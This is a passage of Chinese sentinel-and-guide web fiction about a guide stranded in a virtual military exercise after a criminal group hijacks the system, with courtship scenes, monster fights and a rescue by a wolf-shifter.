她对接下来的对话感到紧张,但对方最终只说:“包子,好吃。”接着微笑。 她被情绪感染,跟着笑起来,仿佛回到了从前,手放上胸前的防弹背心,又不敢用力,安慰道:“食堂的更好吃。” 他们都是守护家园的战士,梦中的结局让她感伤,不禁握住男人的手,对方轻轻回握。 时间该到了,乌云从天边涌来,她将手从中抽离,“再见。”转身要离开。 衣角被轻扯,她回头,男人撕下了铭牌、臂章,交到她手上,分别象征着个人和作战单位。 这是,纪念品? 她接过来,塞进裤袋,然后离开,回到队伍中。 随着发动机轰鸣,一行人离开,但不久后,突然一阵爆炸声,大地震动,蘑菇云升起。 夏广礼捂住女人的耳朵,她正低头看铭牌,一直到爆炸结束。她奇怪地问,但他刚归队,并不知情。 不知道,应该是天上下炸弹了吧。 屏幕外,满是消毒水味的医院里,三人再次会面,上次交谈不欢而散。 三人共睹了这一场面。 山昊啜饮了一口茶水,看向病床上的男人,他脸上没有表情。作为一个失忆的外来者,向导她应该不明白,这举动意味着什么。 这种行为通常在绑定队伍,哨兵们表示效忠时,由队长献铭牌,表明将我交给你,由副队送上肩章,表示队伍为你效忠。 向导接收则表示她对队伍感到满意,愿意留下。 当别人面挖墙脚,怪不得他们炸他。 山昊看向他亲手促成的“伴侣”,卡尔中尉,他来这儿的目的,是解决哨兵间的争端。 一段视频被投到墙上,它记录了历史,从过去到近年,画面一转,来到最近几月,领地面积收缩,安全防线后退,自然资源受到污染,污染物密度变大。 照这个趋势下去,危机将近。 他没有把话说尽,但三人在场都明白,要是真到了困难的时候,所有人都要压上前线,哨所或许要重建。 任何一个合格的哨兵,都该以向导的安危和前途为考量,像阿瑞斯这种任性的人,没有资格做她的伴侣。 卡尔终于有所触动,朝一旁的男人伸出手,布鲁诺走向前,两手握住,拍了拍他的肩膀,“欢迎。” * 几日后,竞争趋于白热化。 第二次缩圈,速度加快,哪怕是迎上伏击,外圈的队伍也不得不全速往里冲。 淅淅沥沥的雨给道路润上一层膜,潜伏在密林中,枯草堆里的尖吻腹翻身,快速游走,回到主人身边,它已经在这儿蹲了一天。 “这附近都没人,咱也走吧。” 蛇队蹲守这条道路也很久了,后来安全范围下来,刚好卡在边缘,索性也懒得动,就在这儿守株待兔,逮住一个消灭一个,捡他们的装备。 蒋森拍打身旁熟睡的兄弟,“别睡了,都起来赶路。” 地面震动,远处传来的轻微声响,男人抬手,其他人安静下来,缩身回掩体下,也许临走前还能再干一票。 一直过了许久,那声音才逐渐明显,汽车轮胎在地面滚动,距离逐渐靠近,就快到了,两百米,一百米…… “嗬嗬——” 空中的侦察兵还是发现了可疑痕迹,随着警报,车队相继停下,一个毛茸茸的脑袋从后面冒出来,不一会儿又被人拉了回去,还关上了窗户。 车门打开,涌出一面包车的彪形大汉,在热感应图景中,呈现亮黄色到橘红色,高空中飞鸟萦绕,他们所属哪支队伍很好确认了。 蒋森握拳,接着手掌朝下,示意所有人停止动作并蹲下,寻找掩护。他不打算和这群人起冲突,仅从持久性来看,这车队很庞大,却又不能一击毙命,纠缠起来,对他们不利。 处在中间的特殊车辆,从刚刚冒出头的形状来看,个小娇小,应该是一位向导,如果一定要打起来,就得先对她下手,但这是不可能的,因为他知道里面坐着的是谁。 本打算安静让他们路过,但遥见路边有什么东西冒出了头,蒋森不禁低声怒骂:“王蟒呢?” “人跑了,他刚才还在这儿呢。” 蒋森叹了口气,准备起身交涉,早说不该带他来的,非说自己好了。 而在另一边,徐珊珊坐在车内,刚刚突然停车,因为好奇探头,被人摁回来。 肖寒:“待会儿再看。” “前面发生了什么?” 宋晓宇的麦里传来前方命令,让车队分批前进,但没过几秒,厉声道:“全体进入戒备状态!” 车辆分散开来,但进入眼帘的,确是一条扭着肥腰的巨蟒,很长的一条,十分显眼。它从路边草丛里爬上马路,后面跟着一个男人,他双手举起,没带武器。 蒋森:“误会,请不要开枪。” 自杀式袭击也没见过这样的,如果手快些,已经被打成筛子了。几位队长商量后,通过传呼机向她请示,说前面有一个“朋友”想见她。 她哪来的那么多朋友? 徐珊珊听了这话,一面不解,但好奇心促使她下车,而另外两人也跟下来,一前一后的陪护。 她遥看了一眼,那条蟒蛇见了她的面,更激动地抬起上半身,一路爬一路掉地过来,被蒋森从后面拽住尾巴,很努力但没进步。 她本来有点怕,躲在宋晓宇身后瞥了两眼,直到在蛇头鳞片上发现熟悉的纹路,这才记起来,还真是熟人,一下子从男人身后走出,走上前,来到蟒蛇跟前。 “等等——” 众人提枪以待,万一它做出什么冒失举动,就准备击毙它,几只猛禽悬于空中,蓄力以待。却没想到,向导开朗、毫无顾及 地大步上前,接着捧起蛇头。 “哈喽,王蟒,今天乖乖吃饭了吗?”—— 作者有话说: 夏广礼:希望人有事 第60章 …… 她不明白事情是怎么发展到这个地步的。 汽车后视镜,镜面里,两棵粗壮的白桦树,中间挂着一根横杆,身着作战服的男人在那儿做引体向上。 每次用力时,树都晃动,身体向上,连裆部都越过横杆,旁边的人还在计数。 两个队伍的人轮流上,这个人结束,下个人夸奖一句,接着做更多次。 祸从口出,她也没想到,哨兵间的竞争意识这么强,只是随口一夸。 计数的音量变大,间隔增长,这个人力竭了,松手跳下来,踏在地面,额头上掉下豆大的汗水,最终是一百七。 她在一旁坐着看,有点手痒,但明白自己目前,很难做到那个地步。 网纹蟒蜷在腿边,又不自觉抬头上膝,绕过肚子,往上绕。夏广礼皱眉,伸手拨开,对方呲呲吐舌,缩脖子警告。 徐珊珊:“没事,它找个地方蹲着就不动了。”就像个模型,而她算个发热树杈,对方在她身边能快速平静下来。 遭到拒绝,男人停下动作,只是用眼神警告对方,不要妄动。 她的手指放在蛇的鳞片上,抬头远望,只在感到惊诧时略微用力。 比武落入下风,对面平均值不高,但有几个极端个体。谢攀已经淘汰了,队里剩下力量最强的,应该是达伦队长。 她也不愿意看到队伍落败,所以当他脱外套上前时,也一同加油助威。 达伦低头,腼腆地笑,展开身躯,双手抓住横杆,手臂用力,筋肉狰狞,整个人高高举起。 “哇哦~~厉害厉害!” 情绪价值拉满,直到裤腿发出碎响,她低头看,男人挪动了腿,怕他扯到伤口,“怎么了?” 夏广礼:“你欣赏强壮的男人吗?” 这话怎么答,若有似无的视线在头顶徘徊,远处的动作也一滞,她愣了一下,使出缓兵之计,“何出此言?” “你一直在看。”某个部位,眼都不眨,看直了。 她矢口否认,“我是惊讶,没怎么见你们训练。”尽管说这话时有点心虚。 在场哨兵很多,她不想大家误会,男人的嫉妒心很可怕,这些日子已经见证这一点。 “也许,他们确实更强壮,但我……” “我更喜欢你。”她轻声说。 一阵低声轻笑,几乎立刻感到腰部收紧了,她拍上去,让蟒蛇轻一点,别缠她。 一只手探上来,手指落在额边,将碎发梳理到颞部,夏广礼宽慰道:“没关系,只要你喜欢,我会努力。” 过去,他更看重耐力,今后加大力量训练,也能做到这个程度,一定会让她满意。 所见所闻刺激到其他人,精神体的表现更明显,鸟儿踏步叽喳。众蛇将情绪收敛得很好,唯有响尾蛇摇动尾巴,响环间碰撞,用特殊的频率表达心情。 夏广礼:“那我们和他比呢?” “谁?” 他没有直说其名,而是讲述外貌特征,她想了半天,疑惑道:“阿瑞斯?” “当然是你们更重要。” “可是你收了他的铭牌。” 女人皱眉,搞不清楚这之间的联系,手在每个兜里摸索,最后找了出来,两块缝制布条,背面有粘扣,拿在手上来回翻看。 “有什么特别的吗?” 夏广礼:“在你们那,哨兵追求向导一般会怎么表示?” 他们那儿可没什么哨兵、向导,大家都是普通人。她类比了下,“我不知道,我追的前男友,”她回忆着,“也没送什么,见面的时候拿了一束花。” …… 这个回答令人沉默,该死的好命男人。 “我也要花。”洛伦斯插嘴。 她又拿在手里仔细看,这东西寓意这么强吗?一个人靠近,身体挡住了光线,她抬头看去,是蒋森队长。 蒋森:“您喜欢集邮吗?” 他作势要取肩章,她连忙拒绝,一连五个“不”字,“我不收集这个。” 她不想让别人误会,轻声喘息,暂时说不出合适的话,旁人帮忙补上一句,“捡到的。” 她跟着附和:“对,捡到的。我不太需要,抱歉。” “没关系,那您想看看吗?” 这些肩章上都有一些小设计,她只遥扫了两眼,仍然摇头拒绝。男人抱住粗厚的蛇身,将它举起,搬动尾巴缠到身上,点头谢道:“麻烦您了。” 其余几人满意地看着他拖着蛇离开。 “你说,你对他没这个意思?” 她点头,绝对,又有点犹豫,应该没有。 “把它交给我处理吧。”这布条的气息很重,让人膈应。 “当然,没问题。” 她手握着两张布片,伸出手,即将落到男人掌中,又缩了回来,犹豫道:“也许当个纪念品?”上面的狮子图案很威武。 男人神色一暗,声音变得低沉,直盯着她,眼神危险,“你确定吗?” “我……” 她纠结了一下,将其中的铭牌交到他手上,“这个给你吧,”光是名字没什么意思,她留个肩章就行了。 “好,喜欢的话就留着吧。”夏广礼不想勉强她。 “算了,”她轻轻呼了一口气,将肩章也交到他手上,“不就是狮子嘛,”目光瞟向外套边,“那把你的补偿给我吧。” 夏广礼:“当然,我非常愿意。” 男人扯下自己的铭牌和肩章,交到她手里,徐珊珊一开始准备装兜里,又发现自己外套上也有粘扣,直接贴上去。 洛伦斯也凑上来,捧上来,“你要我的吗?两队的图案不一样哦。” 她还没看仔细,宋晓宇仰头喊:“解队,能不能带你们队员去找朵野花?他等不及了。” 又坏他好事,洛伦斯听这挑衅,起身看去,“有病。” 解逸飞没理会:“收拾东西,准备出发。” 休息后,所有器械抬回车上,解逸飞站在车前,扶着车框,回头看了一眼,两人聊得正欢,“珊珊向导、夏队,该离开了。” “是,长官!” 她将手举起,行了个军礼,接着伸手扶男人起身,为他开门,等人进去后,再钻上了车,附在他耳边说:“小心秃顶。” 男人眼睛瞪大,不敢置信,认真地翻找镜子,她搂住肩膀道:“是以后,现在发量还很多。” “小坏蛋。”故意吓唬他,男人伸手捏向脸颊肉。 解逸飞伸手告别后,往回走,没发现自己的笑容是如何一点点消失的,回到车上,毫无意外听到抱怨和明捧暗讽的酸语。 他回头看了一眼:“洛伦斯,安静。” 短暂的会面,终将散开,和他们不同,蛇队的作战策略是潜伏,两队不能同行。 对方让道,他们先行离开。根据习惯,择了一处地势高点,途中遭遇两波污染物,很快消灭了对方。 她坐在帐篷里,看着外面燃起的火堆,男人递过来一根巧克力棒,“你要吗?” 徐珊珊摇了摇头,“我不吃,给别人补充体力吧。” 夏广礼:“晚上,要不要待在这儿照顾我?” 她感到惊讶,扭头回来,眨了两下眼,想到伤员需要照顾,同意道:“可以啊,如果你需要的话。”她会让他睡个好觉的。 对面的人轻笑出声,她这才明白,又在逗她,气得上去准备掐人。 夏广礼:“这不干你的事,晚上好好休息。” 进餐中途,走来二队的人,是洛朗。 洛朗:“下午作战时,洛伦斯近身受了伤,他感觉不是很好,您能来看一下吗?” 原来有人受伤吗?她立刻起身,“人在哪?” 走到一半,她回头嘱咐,“不用等我。”如果没事,她会尽快回来。 女人逐渐走远,夏广礼缓步移到矮凳上做下,看向宋晓宇,“你觉得他们会让她 回来吗?” 什么意思?他不习惯,向导不在身边的日子,下意识跟上去,想等完事了,接她回来。也没想到现在两支队伍合作,睡哪儿都成。 夏广礼点了两人,“你们在外面等着,要是她让你们回来……” “那就回来,别惹事。” “是!” 鞋底踩在落叶和泥泞中,她轻手轻脚地靠近,连揭开帷幕时手都在抖,不好的记忆从脑海里浮现,那场梦境里众人的黑白遗照。 “他怎么样了?” “主要是受污染。” 裸露的后背朝外,绷带斜向缠绕,血迹点状渗出。她眯着眼睛走近,没有大片血迹,放下心来。 两人早听到脚步声,适时抬头问候,她来到病床前,看向伤者,四处打量,但主要伤口集中在后背。 洛伦斯:“我头晕眼花,耳边有人在咆哮,像有很多光圈。” 下午开道时,洛伦斯就有点行为怪异了,总抹眼睛,起初洛朗还以为他是伤心,但仔细一看,眼睛赤红。 “好,”她握住男人的手,有些凉,“你别动,我看看。” 精神体被召于掌间,白色流体在两人间飘荡,他突然闭眼,摇晃身体,直直往下倒。 她想抓牢,但力道把她也往床面拉,幸好还有其他人,众人合力,将他放倒床上。 呼吸趋于平稳,但不妙的体征显现,他的体温升高,额头滚烫。 她还没遇到过这种情况,怎么更严重了? 洛朗:“您别急,他没有这么脆弱。” 解逸飞猜想,可能受污染已久,病灶有点深,只是一直掩着没发现,现在身体应激,请她过一阵继续疏导。 好一会儿过去,他缓缓睁眼,精神体探头,小蜜蜂像喝了假酒般,变飞边撞墙,她伸出手将它接到掌中。 他的声音很软很轻,“翅膀受伤了,很疼,能留下来陪我吗?” 洛朗有点没眼看,焦急的心也缓下来,刚才是真难受,现在这个夹子音,装的。 体香飘进鼻腔,比花蜜更诱人,他看见那双唇轻启,温柔道:“好,我在这儿陪你。” 处理完毕后,连她自己也浸出一身汗,有些眩晕,很难想象,平时他们都是自己硬挺。安抚好后,往外走,打算透透气。 帐篷外,两人等了许久,数次想进去,被人拦住。 终于等到她出来,对方满脸染上红色,眼神飘忽,宋晓宇迫切地问:“走吗?” 她摇头说:“我不回去了。” 肖寒:“好,请不要过度消耗自己。” 是今晚不回还是以后都不回了,宋晓宇不舍地看去,但她没多解释,径直走向一旁。 夜里,他翻来覆去地滚睡不着,惹得人骂道:“你是蛆吗?” 60-70 第61章 帐篷内。 把小蘑菇累瘫了,在他身上看不见污染后,她择地睡下,另外两人还守着,眼睛缓缓合上,入眠。 不久后,除了温暖的被子,身旁多了个热源,因为没有抱枕,侧睡逐渐变成趴着。 手指摸到什么,高度合适,自动调整姿势,让自己更舒服。不清楚是谁,或者说,不管是谁,贴着腰睡。 解逸飞躺在她对面,睁眼描摹她的睡颜,不觉得困倦和厌烦,一遍又一遍,他的心跳放缓,身体放松。 他眨了一下眼,忽然,视线杂乱,雪花黑线闪动,他往旁边看,洛朗也惊讶地看向手掌。 “解队!” 男人略过门口的站岗哨兵,要往里冲。宋晓宇丢掉了傍晚时的耐心,焦急地推开,却被人从身后扣住肩膀,不许闯入,没时间了。 他想动手,但下一秒,力道松懈了,对方消失了,系统崩溃。这是他想说的事,众人掉线,耳边也开始哗哗响,趁着剩余时间,抓紧往里走。 解逸飞看见一只脚踏进帐篷,但下一秒,不见了,洛朗起身查看,没再回来。一转头,病床空置,被子从空中落下。 他将熟睡的女人抱在怀中,哄她醒来。 她被这阵动静吵醒了,睡眼惺忪,意识模糊,还不知道发生了什么,一下子坠到了枕头上,给她震醒了。 “谁?” “人呢?” 徐珊珊一脸茫然,头发垂散在胸前,撑着床板起身,但周围已空无一人。 遭遇这件事的不光是她,其他队伍,或睡或醒,或在战斗,或在休息,陆地还是水上,突然间,哨兵们都被强制下线,向导被留下。 屏幕外忙疯了,白塔骤然灯火通明,这是从没遇过的事,队员陆续从全息仓中苏醒,第一时间去找相关负责人。 这是一场危机。虽然技术成熟,没有因演习而导致死亡的案例,但这太反常了,为什么偏偏把她们留下来? 房间里,她平静地躺着,各式插管连接舱体,没有醒来。 这场演习会在三日内收束到操场大小,在决出胜者后结束,但现在,如何角逐竞胜?向导无法独自对抗规模庞大的污染物群。 他们担心,如果不能正常退出,最后会导致大脑受损,永远不能醒来。 营救与修复同步进行,哨兵们尝试重新登入,但被系统拒绝,他们回不去了,束手无策。 但是,没登记的人可以登入,短暂的时段内,众人被召集,登陆救援,但它很快被掐断了,无法再连接。 作乱者没有关掉视频输出,明明可以,但他没有,似乎很享受,众人的不安。 他们只能将目光投向,那些新加入的人员,其中一半不属于作战部门。 曼努埃尔第一时间赶来,他平时睡得很早,但今晚偏偏失眠,接到命令,立刻起身。他许久没有来到这里了。 “请把她带回来。”男人眼含泪说。 另一层楼,人群喧嚷。阿瑞斯不相信,为什么不能,他试图再次躺下,但被弹出,事实就是他无能为力。 邵江:“已经有人进去了,”他指向屏幕,“你看,那是谁?他知道定位,不会有事的。” …… 潜在的致命危机。但无论外面的人怎样焦急,乱成一团,身处其中的人并不知情,她们得独自面对这一切,先活下去。 徐珊珊所面对的,正是这一局面,无论她怎么喊,喊谁,都没有回应。她停下了,怕引来污染物或野兽。 在帐篷里,将药物、器械收进包里,很沉,没想过会这样沉,将它提到车上,然后是汽油,搬到后备箱,检查轮胎…… 她还是困,思考都慢半拍,手指地图,自己还在安全区内,想休息一会儿,天亮再走。 但有东西拖地,心跳漏了半拍,她抱着枪,鼻子红红的,从后视镜里看见自己恐惧的表情。 按照训练营里教过的顺口溜,开始装弹,手上不停,眼睛盯着后视镜,雷达显示里,有东西靠近,两只。 她咽了一口水,心如鼓响,以往夜里极静,她没想过,会有东西闯进来,看来是他们私下处理了。 召唤出小蘑菇,嘱咐它,帮她拖住另一只污染物,给她争取时间,双方相互依靠。 当枪举起,画面同步到眼镜中,准星对准了猎物的头部,她两手交握扶住,按下扳机。 “砰、砰、砰——” 后坐力让枪身弹起,又将它压下去,应该是打中了,它的行动变得缓慢,但仍往这儿来,而另一只不一样,它发现她了,像夜里的幽灵一样扑来。 怪物近在咫尺,她的脊背生寒,几乎想起了刚来这个世界,被追赶的经历。她下意识,对死在这儿有不好的预感,虽然说可以“退出”演习。 打光了弹夹,但对方太强壮,就在车前,将车框砸得凹陷,幸好小蘑菇勇敢地跳出去,扒在它身上,孢子散布,菌丝长开。 污染物停顿了,小蘑菇退下,就是这个时候,她从副驾驶掏了一顶轻机枪,咬紧牙举起,手抖地射击。 她以为它快被打成筛子了,但它还在动,怎么这么能活?她结营时杀的那只可不是这样的,另外一只也逐步靠近,跃跃欲试。 她拆出一把长刀,但下一步,令人惊奇的是,对方并没有朝她攻击,它转身而去,接着,扑向了另外一只污染物,二者缠斗在一块,逐渐滚远,似乎想将它拖离。 怎么回事? 她感到疑惑,但不影响继续射击,最后打开车门,一枚手榴弹收尾。 尘土飞扬,烟雾散开,从视觉显示上看,它们都死了,她还是不放心,上前补刀,最后让小蘑菇处理。 结束了 ,她看向车门上,绿色血液在凹陷的车框表面流下,腿痒得吓了一跳,轻呼一声,低头看,是只蚂蚱。 松了口气,回到车上,她躺在驾驶座上,一边喘息一边调低座位,心里悲凉,想哭但哭不出来,等了一会儿,她观察雷达,周围安全,下车继续收拾。 “一切恐惧源于火力不足。” 小蘑菇的攻击力确实不足,但似乎,起到PVZ里魅惑菇的作用,可以短暂地制造幻觉,蛊惑敌人,为己所用。 只要别成群结队,她应该还能应付,要是像游戏里那样,有个强大的精英怪,比如“二爷僵尸”,那就更省事了。 收拾好行囊,她发动汽车,往中心区域走,重点标记的补给点,应是有人清扫过了,暂时安全些。走之前,她在空地上,标注了位置信息,如果他们回来,才能找到她。 难道自己的梦是预知梦,她死在这里面了吗?想到这个可能,她有些胆颤,云在天上飘,她想活着。 在驶到半途中,她实在困极了,怕翻车,就闭眼,时睡时醒,一睁眼,才睡了两小时。 但这已经是相对安全的境遇了。 遥远的近海,克拉拉一人闯进驾驶舱中,调整航线,顺着潮流,想要回到岸边。她接着来到甲板上,有东西跳了上来,毫不犹豫地手起刀落。 她简直是女战神。队内的哨兵都为此感到欣慰,但糟糕的是,下一刻,女人左手捂住后颈的,脸上露出痛苦神情,昏倒乏力,整个人砸下去。 大厅里此起彼伏传来惊叫声,哨兵们似乎比身处其中的向导们,承受能力更差,只能挥力砸墙发泄。 吴可还待在草原上,发现别人都消失后,向外发信号,朝人多的地方去,得益于出色的身体素质和精神异能,短期内不会遭受威胁。她潇洒地驶车离开,不把这事放心上,音乐飘荡车内。 车内,她睁开了眼,阳光透过车窗照进眼皮,伸手挡住,下车伸了个懒腰,然后进食,接着继续开车。 独自野外求生,还是太勉强了一点。 车辆一侧突然凹下去,“糟了,”下车后发现,果然是陷阱,但那群人已经走了,车陷在里面,动不了,她也推不动。 花了近两个钟头,用千斤顶将它带起来,中途又引来一只污染物,它还是速度型,差点出事。 窗外的景色依然很美,但她已经没心情再去欣赏了。 一天一夜的独处,她的心理防线在崩溃边缘,整个人变成了一只受惊的小鼠,对外界的任何响动都异常敏感。 看着镜子里泥泞的自己,她自嘲地笑起来,比了个向上的大拇指,鼓励自己。 有向导的队伍不愿冒险,大多处在安全区内,只有零星数量的污染物。 而后来的哨兵,就不一样了,他们被投放到起始位置,需要穿过漫长而危险的地带,与时间赛跑。 如果找不到车,就只靠自己。安全线内外的危险程度不是一个量级,像密密麻麻的蚂蚁,许多哨兵没能走出来。 退役队员表现要好些,他们更清楚环境、规则,身法老练,各人的任务不同,无论生死,他们都得朝目标前进。 她坐在车里,想了又想,掏出一个小本子,准备写遗书,给每个人留几句话,要是她的梦成真了,希望他们能好好活下去。 第62章 留言的内容: “夏广礼,保重身体,别酗酒。 卡尔,我死之后,你自己好好过,不要守我。 山昊长官,您是一位好领导,感谢一直以来的照顾和指导。”她想了想,没把别P结婚照这事放上去。 等等,她摁下圆珠笔,她还没结婚呢,哪来的结婚照?搞错了,那自己应该死不了。 男人们清楚地看见纸面上落下的字迹,感动但揪心,突然间,女人停笔,将本子抛掷一边,整个人神情放松下来。 发生什么事了? 她面带笑容,语气欣喜,“你来了。” 谁? 众人靠近看,对方的身形逐渐显露,那哪里是一个人,分明是污染物。 常在河边走哪有不湿鞋,哪怕是对抗精神污染的专家,高级向导,也有失手的时候,就看她是否能及时醒悟过来。 救援人员已经近了,他发现地理坐标后,一刻也不停息,往这儿来。 她的放松让众人的心提起来,想拍画中人的肩膀,喊她回头。她却推开车门,虽然腰间配枪,姿态很放松。 “曼努埃尔,你来了。” 当她初见晃动人影时,提心吊胆,但当面容对上,她激动起来,迫不及待地呼唤,是朋友。 只是下车时耽误了些,见他受伤,她翻找了医疗包,一跃而下,朝男人走去。 它:“终于找到你了。” 她嘴角带笑,希望来一个拥抱,但仔细打量,来人却露出陌生神色。 “过来。” “你的腿受伤了吗?” 她疑惑道,在印象里,他是会朝她来的那个人,从没这么命令她。 “来我这里。” 他没答复,膝盖的护具破了,撑着站了一会儿,突然站不稳,摇晃着倾倒。她心急地走近,想拉住他。 三米、两米、一米,一股臭味扑面而来。 她停下脚步,错过了最佳时机,他摔倒在地上,闷哼出声,朝她伸手,“珊珊,拉我一下。” 徐珊珊:“好,我帮你。”她看见他欣慰的笑容。 屏幕外的人将这一切看得清晰,她一步步走进陷阱,那东西张开血盆大口,在诱人过来,真正的救援人员赶不及了。 回头,回头。 他们在心里呼喊,但无法影响她的决定,一时绝望涌上心头,直到枪声响起,像希望的号角。 青烟从枪口冒出,她皱眉屏息,眼前变了一副模样,果然不是他,她察觉出了不对劲。 表情、动作、语言,都和曼努埃尔搭不上边,更何况,他从不会那样笑,总把下半张脸捂得严实,就像露脸会触犯天条似的,但这个仿冒品却毫不在意。 而且他也不会那样粗鲁地要求她做事。 她的反杀让众人松了一口气,没有在阴沟里翻车,在野外,没有同伴的提醒,总是容易暴露弱点。 她将这块打扫干净,这是生成的污染物,所以身上干净,没有残肢断臂。 蹲了许久,起身时太快,有些头晕,她缓一会儿,将手套脱下,却突然听见一声狼嚎。 “嗷呜~” 更明显了,她不确定这是否又是幻觉,当灰色皮毛从林间冒出,湿润的鼻头和张嘴坦露出的粉色舌头,喷着热气,脖间有明显烧伤。 她又低头扫了一眼,确认它已经死透了,身体已经比大脑更快,提起枪对准它,“退后。” 狼王从跑动状态变成行走,注视着她手中的枪管,还是在看她,但当她看去时,对方又移开眼睛,避免直接对视。 这个有点像了,她内心独白,第二次警告,“退后。” 巨型灰狼面朝她,往后挪步,低着头,尾巴夹紧,她松了口气。 见她安好,他十分庆幸,应该给她一点时间,她只是惊慌。 但对方突然开口:“汪汪汪——” 他不禁歪了歪脑袋,什么意思?听不懂。 对方轻咳了两声,收敛笑容说:“过来。” “嗯~” 灰狼在原地徘徊,鼻翼翕动,这是她的味道没错,在她第二次呼唤时,迈步走过去,在相距一米时停下。 她想继续脱手上的手套,对方接着,帮忙用嘴咬住翻出的边缘,然后丢掉一旁,用两条前腿刨坑,将 痕迹掩埋。 是他,和梦里面的那一条狼一模一样。干好活后,回到车里。 “曼努埃尔,过来。”她拍了拍椅面,对方还在后座整理,听到呼唤,嘴咬着一张毛毯爬过来,松口,将毯子调整到覆盖她半身。 太乖了,她不禁感慨,摸向头顶,突然想起狗喜欢粗暴一点的撸法,双手抱住,用力揉搓。事后,抬起它的前掌,往腿上靠,整个人裹紧绒毛里。 像小花猫一样,曼努埃尔看她满脸狼狈,想帮忙收拾,但身形不合适,就停下来了。 “你不会变回人吗?” 她还是想见人类同胞,“我摸这里会疼吗?”它摇头,拱进怀里,安静地任她抚摸,摇晃尾巴。 他来到这里一定很不容易,但还是来了。当夜晚来袭,一人一狗将车后座摊平,今晚不用再睡在前面。 一直到她睡着后,曼努埃尔挪动位置,结束兽化,他这样做是为了更快找到她,翻找衣服穿上,没有面罩,就扯了一块布绑在脑后,忍不住回头望,她皱着眉,似乎在做噩梦。 这一场景也有点像梦,平日里不敢肖想的。他轻声地唱着摇篮曲,一面安抚,直到她依偎过来,不再面露恐慌。 他检查车辆时,发现了求救信号,并作出了回。 而徐珊珊在睡梦中,正在和她的精神体争吵,这几天小憩时,总是噩梦一个接一个,她不敢睡,又不得不睡,终于放松一回。 忘却一切烦恼,她轻松地坐着进餐,餐桌对面坐着小蘑菇,它在喝可乐,喝到一半,突然来了一句,“承认吧,你就是见一个爱一个。” 她竟也没怀疑它为何会说话,就对峙起来,反正这也没外人,“你怎么能这么说呢?” “你就是我,我就是你,骂我就是骂你自己。” 那就是承认了,小蘑菇有更稚嫩的嗓音,“我可不像你,口是心非……” “去去去,一边去,再乱说,可乐都给你扬了。”她心里给自己洗脱,哪有滥情,都只是朋友关系,没想到这也被它听见,捅了出来。 “会拥抱的朋友是吧,你不看看你整天做的那些梦,我都没眼看。” “过分了啊。” 小蘑菇:“你是不是还在顾虑你前男友,怕他们……” 曼努埃尔侧过头,仔细听她说,好像嘟囔什么,“我才没有。”语气温吞软糯,最后嘿嘿笑,他也跟着抿嘴笑起来,似乎很轻易被感染。 次日,她醒来时,又是那个寡言的大块头了。这回是一个正式的拥抱,边聊边洗漱,说到高兴时,她轻拍男人肩膀,没想到一下就把他推到窗边,浑圆的三角肌挤到玻璃上。 “不好意思,我没想到……”他这么身娇体弱易推倒,不太像呀,她又去推车门,自己力气也没变大。 “是我没坐稳。”曼努埃尔自然揽责,见她一直盯着自己,“我脸上有什么东西吗?” “我可以看看——”她哽了一下喉咙,不知道此时两人的心,谁跳得更快,她就是想确认一下,“你,不戴这个。” 他的心跳得极快,大脑一片空白,既说不出同意的话,又说不出拒绝的话,睁眼任由她靠近。 “别动。”小狗立马坐直了,又有点高,“低头。” 覆面被取下,新鲜的空气冲刺着皮肤,手贴了上去,她靠得很近,眼睛颤动,他能清晰地看见薄皮下的血管,从未想过的近距离接触。 “手感有点像。”她乍看一眼,有点恐怖,像烧伤瘢痕,和上半张脸差异太大,看了一会儿,就习惯了。 她有个朋友,小时烧伤了胳膊,因此自卑,与男人交往时,觉得对方不嫌弃她,很感激。 人难免有感到自卑的地方,曼努埃尔一直遮掩,他应该也是,担心别人的异样眼光。 像等待判刑的囚犯,男人没有说话,而是等着她,任何反应。 “其实还好,”她又盯着看上面的纹路,“没什么,你很帅”,又开始数其他优点,“身材好,战绩强,能力强,人又好……” 她说了一大堆,其实核心含义就是:你很好,不要因为这个自卑。 “我不在意这个,我想让你知道。” 她一个人叽里咕噜说了一大堆,两人面面相觑,尴尬袭来,搞不好对方根本没有这种想法,只是不想麻烦,觉得自己太多事,捂脸哀嚎。救命啊,她在干什么? 一声亲切的笑,“谢谢,”他就这样,不戴面纱地笑起来,“你的话,我记住了。” 该死,她转过身,在心底暗自唾弃自己,又看迷了,再转身时,已经调整好情绪,“出发吧。” 汽车发动,他们要去救援其他向导。 在屏幕外,也寻到了犯罪组织的蛛丝马迹,对方反而发讯息挑衅:他们需要每一位向导的身体数据,还有□□,否则就随机伤害人质。 这赤裸裸的威胁让人感到出奇的愤怒,没给更多时间,对方念出第一份名单,“如果不能按时送来,就先从她开始。” 屏幕全部熄灭,在不同的镜头跳转,最终落到了她的头上——克拉拉,她被冲到岸边,人刚苏醒,他们想拿她开刀。 该死的改造组织! 第63章 他们自称拯救者,鼓吹世界末日,做人体实验,改造形成的哨兵,身体有缺陷,更易堕化,寿命降低。 他们把手伸向向导,或许是觉得,武器报废得太快,已经无法掌控,需要换一种方式。 这个组织是阴沟里的老鼠,受尽打击和排斥,但又总是死灰复燃。 克拉拉受威胁的消息传出,队友焦急万分,脑中的天平不断倾斜,当他开门时,发现外面持枪侯了一排人,禁止任何人离开。 正在观望的队伍有很多,官方被迫进行拍邀,并澄清,他们没有掌控系统,请各位保持冷静。 牺牲的哨兵和向导已达一定数量,但他们的脑电波还正常显示,一切体征正常,只是昏睡。 一盆水泼下来,但无济于事,火没有熄灭,它在木堆的底部燃起,火舌一点点向上蔓延。 屏幕内。 醒来的克拉拉上了岸,将镜子对挂在树枝上,映出后颈的缝合线,嘴里塞了一团布,手中持有烧过的尖刀,沿着纹路刨开。 她本该在医院处理的,这是最后一次清创,却等不及了。 三百里外,两人共同搜集幸存者,后车厢坐满了人,将她们带到安全点,由其他人负责安置,再外出。 这是众人协力清理出的安全屋。 她给一位擦伤的向导上完碘伏后,坐到过道旁,门外的光有些晃眼,曼努埃尔多久会回来。 “向导,可以给我一点吗啡吗?” 这句话从她的右耳穿进,左耳穿出,内心暗算时间,直到这话又念了一遍,声音更贴近,她才反应过来,是在叫她,扭头看去。 手中的塑料瓶掉落地上,滑盖拧紧,里面的液体没有泄出,脑后仿佛有根筋在抽,嘴张开,暂停呼吸。 来人开朗笑道:“开个玩笑,认识一下?”顺势坐到她身边。 她不敢看他,又忍不住看他,这人竟然长着和她前任一模一样的脸,正像初见时。 男人在她的注视下抿嘴笑,低下头。 火热的注视让小伙害羞,他抬眼偷看两回,又垂眸,不一会儿,两边耳朵都红了起来。 她有些难以呼吸,想起阿瑞斯给她讲过的替身文学,不敢置信。 她本以为,再见到他时,会愤怒地唾骂,甚至动手。但没有,只有不知所措,什么话也说不出。 